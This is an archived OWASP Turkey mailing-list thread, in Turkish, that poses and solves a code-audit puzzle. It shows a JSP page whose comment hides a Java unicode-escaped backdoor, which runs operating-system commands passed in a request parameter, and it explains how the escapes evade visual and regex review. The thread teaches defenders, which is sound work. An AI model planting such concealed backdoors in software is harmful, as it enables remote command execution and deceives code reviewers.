[Owasp-turkey] Arızayı Bul #5
yilmaz.cankaya at uekae.tubitak.gov.tr
yilmaz.cankaya at uekae.tubitak.gov.tr
Tue Oct 20 17:55:32 EDT 2009
Bedirhan baÅladı güzel oldu. Ben de ufak bir kod ekleyeyim
:-) Orjinal kod java kodu olmakla beraber, genelleyip yazıyorum.
if (getParameter('session_id') is null)
then
sessionID=
createSession();
else
digerlerine daha gore daha ilgi ceker dedim ama... :))
cekmedi
cevap "herkes developer'lara guveniyor ama uretimin canina
okuyabilirler" mantigi ile yazilmis bir backdoor. Java belirli bir
formatta (\uxxxx) unicode karakterler ile kod yazilmasina imkan taniyor.
Yani butun identifier, keyword, operator v.b.'lerin ascii olmasina gerek
yok. (C# icin ise boyle bir kisitlama var yani keyword ve operator'ler
icin mesela sadece ascii karakterler kullanilabiliyor.). Kisacasi verdigim
JSP icerisindeki unicode formatinda yazilan bolumu, basina ve sonuna
' karakteri koyduktan sonra
http://www.webguvenligi.org/ipacker/ipacker.html
uygulamasinin INPUT bolumune koyup EVAL TO OUTPUT butonuna
basarsaniz, aslinda developer'in nasil bir backdoor yazdigini
gorebilirsiniz. Ortaya cikan parca, multiline comment bolumunu
kapatip, asil backdoor kodunu yazip, daha sonra tekrar multiline
comment bolumunu aciyor (ki "syntax error" almayalim, ayni sqli,
ldapi gibi).
Bu sekilde ciplak gozle bakan veya regex ile audit yapmaya calisan
bir denetimcinin isi zorlasiyor.
bedirhan
18 Ekim 2009 21:05 tarihinde Bedirhan Urgun bedirhanurgun at gmail.com> yazdı:
Bu kez eglenceli bir ariza var :) Ise farkli bir perspektiften
bakmayi gerektiriyor. Bir JSP sayfasi...
bedirhan
Arizayi Bul #4
--------------------
%@page contentType="text/html"
pageEncoding="UTF-8"%>
"http://www.w3.org/TR/html4/loose.dtd">
/************************************COMMENT
BEGIN**************************************
This is
unicode that will be used for data validation
\u002a\u002f\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u003d\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u0072\u006b\u0061\u006b\u0061\u0070\u0069\u0022\u0029\u003b\u0020\u0069\u0066\u0020\u0028\u0020\u0073\u0021\u003d\u006e\u0075\u006c\u006c\u0020\u0026\u0026\u0020\u0073\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0020\u0022\u0061\u0063\u0069\u006b\u0022\u0020\u0029\u0020\u0029\u0020\u007b\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0020\u0022\u006b\u006f\u006d\u0075\u0074\u0022\u0020\u0029\u0020\u0029\u003b\u0020\u007d\u002f\u002a
*************************************COMMENT
END***********************************/
String lang = request.getParameter("language");
//
use the unicode above to validate the data
validateUnicode(lang);
%>
--
Bedirhan Urgun
http://www.webguvenligi.org
http://www.owasp.org/index.php/Turkey
Türkçe Web Uygulama GüvenliÄi E-Posta Listesine
üye olmak için:
https://lists.owasp.org/mailman/listinfo/owasp-turkey
-------------- next part --------------
An HTML attachment was scrubbed...
URL: https://lists.owasp.org/pipermail/owasp-turkey/attachments/20091021/ac6613e7/attachment.html
More information about the Owasp-turkey
mailing list